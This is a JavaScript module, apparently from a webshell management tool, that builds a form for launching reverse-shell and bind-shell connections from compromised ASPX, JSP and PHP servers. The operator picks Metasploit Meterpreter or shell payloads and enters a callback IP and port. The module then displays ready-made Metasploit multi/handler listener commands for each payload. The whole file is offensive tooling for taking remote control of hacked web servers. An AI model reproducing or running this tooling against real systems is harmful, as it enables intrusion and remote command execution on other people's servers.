"use strict";
const Base = require("../base");
const LANG = require("../../language"); // 插件语言库
// 反弹shell模块
class ReverseShell extends Base {
  createForm(cell) {
    let self = this;
    let str = [];
    switch (self.shelltype) {
      case "aspxcsharp":
      case "aspx":
        str = [
          { type: "settings", labelWidth: 150, inputWidth: 200 },
          {
            type: "radio",
            name: "conn_type",
            label: "reverse",
            value: "reverse",
            position: "label-right",
            list: [
              {
                type: "select",
                name: "reverse_type",
                label: LANG["core"]["reverse_shell"]["form"]["reverse_type"],
                options: [
                  {
                    value: "MeterReverseTCP",
                    text: "MSF-MeterPreter-Reverse-TCP",
                  },
                  {
                    value: "MeterReverseTCPx64",
                    text: "MSF-MeterPreter-Reverse-TCP-x64",
                  },
                ],
              },
              {
                type: "input",
                name: "targetIP",
                label: LANG["core"]["reverse_shell"]["form"]["targetIP"],
                required: true,
              },
              {
                type: "input",
                name: "targetPORT",
                label: LANG["core"]["reverse_shell"]["form"]["targetPORT"],
                validate: "NotEmpty,ValidInteger",
                required: true,
              },
            ],
          },
        ];
        break;
      default:
        str = [
          { type: "settings", labelWidth: 150, inputWidth: 200 },
          {
            type: "radio",
            name: "conn_type",
            label: "reverse",
            value: "reverse",
            position: "label-right",
            list: [
              {
                type: "select",
                name: "reverse_type",
                label: LANG["core"]["reverse_shell"]["form"]["reverse_type"],
                options: [
                  {
                    value: "MeterReverseTCP",
                    text: "MSF-MeterPreter-Reverse-TCP",
                  },
                  { value: "ShellReverseTCP", text: "MSF-Shell-Reverse-TCP" },
                ],
              },
              {
                type: "input",
                name: "targetIP",
                label: LANG["core"]["reverse_shell"]["form"]["targetIP"],
                required: true,
              },
              {
                type: "input",
                name: "targetPORT",
                label: LANG["core"]["reverse_shell"]["form"]["targetPORT"],
                validate: "NotEmpty,ValidInteger",
                required: true,
              },
            ],
          },
          {
            type: "radio",
            name: "conn_type",
            label: "bind",
            value: "bind",
            position: "label-right",
            list: [
              {
                type: "select",
                name: "bind_type",
                label: LANG["core"]["reverse_shell"]["form"]["bind_type"],
                options: [
                  { value: "MeterBindTCP", text: "MSF-MeterPreter-Bind-TCP" },
                  { value: "ShellBindTCP", text: "MSF-Shell-Bind-TCP" },
                ],
              },
              {
                type: "input",
                name: "bindPORT",
                label: LANG["core"]["reverse_shell"]["form"]["bindPORT"],
                validate: "NotEmpty,ValidInteger",
                required: true,
              },
            ],
          },
        ];
        break;
    }

    let form = cell.attachForm(str);
    this.bindFormEvent(form);
    this.form = form;
  }

  bindFormEvent(form) {
    let self = this;
    form.attachEvent("onChange", function (id, value) {
      console.log(id, value);
      let tips = "";
      let targetPORT = id == "targetPORT" ? value : "";
      let bindPORT = id == "bindPORT" ? value : "";
      let payloadtype = "";
      let conn_type = self.form.getCheckedValue("conn_type");

      if (conn_type == "reverse") {
        payloadtype = self.form.getItemValue("reverse_type");
      } else if (conn_type == "bind") {
        payloadtype = self.form.getItemValue("bind_type");
      }
      if (self.shelltype == "jsp") {
        switch (payloadtype) {
          case "MeterReverseTCP":
            tips = `msf5 > use exploit/multi/handler 
  
msf5 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 0.0.0.0

msf5 exploit(multi/handler) > set lport ${targetPORT}

msf5 exploit(multi/handler) > exploit 
            `;
            break;
          case "ShellReverseTCP":
            tips = `msf5 > use exploit/multi/handler 
  
msf5 exploit(multi/handler) > set payload java/shell/reverse_tcp

msf5 exploit(multi/handler) > set lhost 0.0.0.0

msf5 exploit(multi/handler) > set lport ${targetPORT}

msf5 exploit(multi/handler) > exploit 
            `;
            break;
          case "MeterBindTCP":
            tips = `msf5 > use exploit/multi/handler 
  
msf5 exploit(multi/handler) > set payload java/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set rhost ${self.opt.ip}

msf5 exploit(multi/handler) > set lport ${bindPORT}

msf5 exploit(multi/handler) > exploit 
            `;
            break;
          case "ShellBindTCP":
            tips = `msf5 > use exploit/multi/handler 
  
msf5 exploit(multi/handler) > set payload java/shell/bind_tcp

msf5 exploit(multi/handler) > set rhost ${self.opt.ip}

msf5 exploit(multi/handler) > set lport ${bindPORT}

msf5 exploit(multi/handler) > exploit 
            `;
            break;
          default:
            break;
        }
      }
      if (self.shelltype == "php") {
        switch (payloadtype) {
          case "MeterReverseTCP":
            tips = `msf5 > use exploit/multi/handler 

msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 0.0.0.0

msf5 exploit(multi/handler) > set lport ${targetPORT}

msf5 exploit(multi/handler) > exploit
            `;
            break;
          case "ShellReverseTCP":
            tips = `msf5 > use exploit/multi/handler 

msf5 exploit(multi/handler) > set payload php/reverse_php

msf5 exploit(multi/handler) > set lhost 0.0.0.0

msf5 exploit(multi/handler) > set lport ${targetPORT}

msf5 exploit(multi/handler) > exploit
            `;
            break;

          case "MeterBindTCP":
            tips = `msf5 > use exploit/multi/handler 

msf5 exploit(multi/handler) > set payload php/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set rhost ${self.opt.ip}

msf5 exploit(multi/handler) > set lport ${bindPORT}

msf5 exploit(multi/handler) > exploit
            `;
            break;
          case "ShellBindTCP":
            tips = `msf5 > use exploit/multi/handler 

msf5 exploit(multi/handler) > set payload php/bind_php

msf5 exploit(multi/handler) > set rhost ${self.opt.ip}

msf5 exploit(multi/handler) > set lport ${bindPORT}

msf5 exploit(multi/handler) > exploit
            `;
            break;
          default:
            break;
        }
      }
      if (self.shelltype == "aspx") {
        switch (payloadtype) {
          case "MeterReverseTCP":
            tips = `msf5 > use exploit/multi/handler 

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 0.0.0.0

msf5 exploit(multi/handler) > set lport ${targetPORT}

msf5 exploit(multi/handler) > exploit
            `;
            break;
          case "MeterReverseTCPx64":
            tips = `msf5 > use exploit/multi/handler 

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 0.0.0.0

msf5 exploit(multi/handler) > set lport ${targetPORT}

msf5 exploit(multi/handler) > exploit
                        `;
            break;
        }
      }

      self.editor.session.setValue(tips);
    });
  }
  getArgs() {
    let args = {};
    if (this.shelltype == "aspx") {
      this.parammode = 2;
    }
    let conn_type = this.form.getCheckedValue("conn_type");
    if (conn_type == "reverse") {
      this.payloadtype = this.form.getItemValue("reverse_type");
      console.log(this.payloadtype);
      args["targetIP"] = this.form.getItemValue("targetIP");
      args["targetPORT"] = this.form.getItemValue("targetPORT");
    } else if (conn_type == "bind") {
      this.payloadtype = this.form.getItemValue("bind_type");
      args["bindPORT"] = this.form.getItemValue("bindPORT");
    }
    console.log(args);
    return args;
  }
}

module.exports = ReverseShell;
